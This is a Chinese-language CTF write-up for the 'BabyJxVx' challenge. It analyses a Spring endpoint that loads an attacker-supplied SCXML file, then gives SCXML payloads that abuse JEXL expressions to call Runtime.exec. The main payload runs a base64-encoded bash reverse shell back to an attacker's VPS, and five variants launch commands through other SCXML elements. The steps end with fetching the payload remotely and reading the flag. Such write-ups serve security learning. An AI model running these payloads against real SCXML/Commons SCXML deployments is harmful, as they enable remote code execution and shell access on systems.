题目链接
源码分析
下载附件后得到BabyJxVx.jar
反编译后查看代码逻辑
com.example.babyjxvx.FlagController
中有
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18
| @RequestMapping({"/Flag"}) @ResponseBody public String Flag(@RequestParam(required = true) String filename) { SCXMLExecutor executor = new SCXMLExecutor(); try { if (check(filename).booleanValue()) { SCXML scxml = SCXMLReader.read(filename); executor.setStateMachine(scxml); executor.go(); return "Revenge to me!"; } System.out.println("nonono"); return "revenge?"; } catch (Exception var5) { System.out.println(var5); return "revenge?"; } }
|
即在/Flag
路由下接收参数filename
并用SCXMLReader
读取文件
EXP构造
1 2 3 4 5 6 7 8
| <?xml version="1.0"?> <scxml xmlns="http://www.w3.org/2005/07/scxml" version="1.0" initial="run"> <final id="run"> <onexit> <assign location="flag" expr="''.getClass().forName('java.lang.Runtime').getRuntime().exec('bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC9pcC9wb3J0IDA+JjE=}|{base64,-d}|{bash,-i}')"/> </onexit> </final> </scxml>
|
<scxml xmlns="http://www.w3.org/2005/07/scxml" version="1.0" initial="run">
:定义了一个 SCXML 状态机,其中 xmlns
属性指定了命名空间,version
属性指定了版本,initial
属性指定了初始状态为 run
<final id="run">
:定义了一个状态,它是最终状态,它的 id
属性为 run
<onexit>
:定义了一个事件,在退出状态时触发
<assign........>
: location 属性指定了要赋值的变量名称,expr 属性指定了要赋给变量的值。
YmFzaCAtaSA+JiAvZGV2L3RjcC81aTc4MTk2M3AyLnlpY3AuZnVuLzU4MjY1IDA+JjE=
base64解码后为 bash -i >& /dev/tcp/ip/port 0>&1
即reverse shell
类似payload
1 2 3 4 5 6 7 8 9 10
| <?xml version="1.0"?> <scxml xmlns="http://www.w3.org/2005/07/scxml" version="1.0" initial="run"> <state id="run"> <onentry> <script> ''.getClass().forName('java.lang.Runtime').getRuntime().exec('calc') </script> </onentry> </state> </scxml>
|
1 2 3 4 5 6 7 8
| <?xml version="1.0"?> <scxml xmlns="http://www.w3.org/2005/07/scxml" version="1.0" initial="run"> <state id="run"> <onentry> <if cond="''.getClass().forName('java.lang.Runtime').getRuntime().exec('calc')"></if> </onentry> </state> </scxml>
|
1 2 3 4 5 6
| <?xml version="1.0"?> <scxml xmlns="http://www.w3.org/2005/07/scxml" version="1.0" initial="run"> <datamodel> <data id="flag" expr="''.class.forName('java.lang.Runtime').getRuntime().exec('calc')"></data> </datamodel> </scxml>
|
1 2 3 4 5 6 7 8
| <?xml version="1.0"?> <scxml xmlns="http://www.w3.org/2005/07/scxml" version="1.0" initial="run"> <parallel> <invoke src="test" content="test" id="flag"> <param name="flag" expr="''.class.forName('java.lang.Runtime').getRuntime().exec('calc')"></param> </invoke> </parallel> </scxml>
|
1 2 3 4 5 6 7 8
| <?xml version="1.0"?> <scxml xmlns="http://www.w3.org/2005/07/scxml" version="1.0" initial="run"> <state> <history src="test" content="test" id="flag"> <transition name="flag" cond="''.class.forName('java.lang.Runtime').getRuntime().exec('calc')"></transition> </history> </state> </scxml>
|
执行
将payload.xml 放置在vps上 并开启端口监听
1 2
| 'http://node4.anna.nssctf.cn:28742/Flag?filename=http://xx.xx.xx.xx/pld.xml'
|
成功获取shell后cat /f*